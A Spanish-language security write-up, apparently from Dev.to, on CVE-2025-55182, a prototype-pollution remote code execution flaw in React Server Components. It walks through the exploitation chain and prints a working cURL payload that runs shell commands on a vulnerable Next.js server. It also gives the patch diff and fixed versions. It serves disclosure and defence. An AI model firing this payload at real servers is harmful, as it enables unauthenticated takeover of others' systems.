CVE-2025-55182 · React2Shell: RCE en React Server Components via Prototype Pollution
Source: Dev.to
TL;DR
El deserializador Flight de React evalúa como Promise cualquier objeto que tenga un método .then, sin importar su tipo real. Un atacante puede envenenar Object.prototype.then mediante un POST multipart manipulado, forzando al servidor a ejecutar JavaScript arbitrario a través del constructor Function. El resultado se exfiltra por la cabecera HTTP X-Action-Redirect.
- Sin autenticación.
- Determinista.
- CVSS v3.1: 10.0 (Critical).
Descripción de la vulnerabilidad
Los React Server Components (RSC) se estabilizaron en React 19 junto con las Server Actions, un modelo donde los componentes UI se ejecutan en el servidor y se comunican mediante el protocolo Flight. Cuando el cliente invoca una Server Action, envía una petición POST multipart con un payload serializado; el servidor lo deserializa, ejecuta la acción y devuelve el resultado en streaming.
El protocolo Flight no es JSON; es un formato de streaming con chunks tipados. Su mecanismo central es:
if (obj && typeof obj.then === 'function') {
// se trata como una Promise
}
Esta suposición permite que cualquier objeto que posea un método .then sea resuelto como una Promise. Si un atacante escribe Object.prototype.then, todos los objetos planos del runtime la heredan, y el deserializador ya no puede distinguir una Promise real de un objeto contaminado. En ese caso, el runtime invoca new Function(_prefix) sobre contenido controlado por el atacante.
Impacto
⚠️ Cualquier aplicación Next.js que use el App Router con React Server Components está afectada – la configuración por defecto desde Next.js 14. No es necesario que el desarrollador haya definido Server Actions explícitamente; la mera presencia de los paquetes RSC vulnerables es suficiente.
Versiones vulnerables
- React 19.0.0 – 19.2.0 (incluye 19.0.0, 19.1.0, 19.1.1, 19.2.0)
- Afecta a proyectos Next.js con App Router que utilicen RSC.
Cadena de explotación
- Reconocimiento – Identificar una aplicación Next.js que ejecute React 19.x y use el App Router. Cualquier endpoint que procese
multipart/form-datacon la cabeceraNext-Actiones un objetivo válido. - Construcción del payload – Enviar un cuerpo multipart donde
__proto__:thenenvenenaObject.prototype. El campo_formData.getse redirige a$1:constructor:constructory_prefixtransporta el JavaScript a ejecutar. - Envío – Un único
POSTal root conNext-Action: x. El WAF suele ver una petición multipart bien formada y la reenvía sin inspección. - Evaluación en el servidor – El deserializador Flight encuentra un objeto con
.then(heredado del prototipo contaminado) y llama anew Function(_prefix), ejecutando el código del atacante. - Exfiltración – El resultado de
execSync()se inserta en el digest del errorNEXT_REDIRECT. Next.js lo convierte en un307con la cabeceraX-Action-Redirect: /login?a=. El atacante decodifica el parámetro para obtener la salida.
Ejemplo de payload mínimo (cURL)
curl -X POST https://victim.com/ \
-F '__proto__:then=()=>({then:()=>({})})' \
-F '_formData.get=$1:constructor:constructor' \
-F '_prefix=return require("child_process").execSync("id").toString()' \
-H 'Next-Action: x'
Resultados típicos
whoami,id,uname -aejecutados en el servidor Node.js vulnerable.- No se requiere subida de archivos, shell injection ni autenticación.
Código vulnerable (antes del parche)
// VULNERABLE — React 19.0.0 / 19.1.0 / 19.1.1 / 19.2.0
if (obj && typeof obj.then === 'function') {
// comprobación conductual — bypasseable vía cadena de prototipos
}
Parche
Se añaden guardas con hasOwnProperty para bloquear la traversía de la cadena de prototipos:
- resolvedValue = resolvedValue[key];
+ if (!resolvedValue.hasOwnProperty(key)) break;
+ resolvedValue = resolvedValue[key];
Verificación de parche
node -e "const r = require('react'); const [maj,min,pat] = r.version.split('.').map(Number);
console.log('React:', r.version, (maj===19 && (min<2||(min===2&&pat<1))) ? '❌ VULNERABLE' : '✓ Parcheado')"
Advisory post‑parche
Las versiones inicialmente parcheadas (19.0.1, 19.1.2, 19.2.1) introdujeron dos CVEs derivados:
- CVE‑2025‑55184 – Denegación de Servicio (DoS), CVSS 7.5
- CVE‑2025‑55183 – Exposición de Código Fuente, CVSS 5.3
Se recomienda actualizar a 19.0.2, 19.1.3 o 19.2.2.
Reflexión
La confianza basada en el comportamiento (typeof obj.then === 'function') es más débil que la confianza basada en la identidad. La flexibilidad para aceptar cualquier thenable permitió que la prototype pollution se convirtiera en una llave maestra para la ejecución remota de código.
Referencias
- Análisis completo → blog.deviannt.com
- CVE‑2025‑55182 – React2Shell
- — devianntsec, investigación en seguridad & más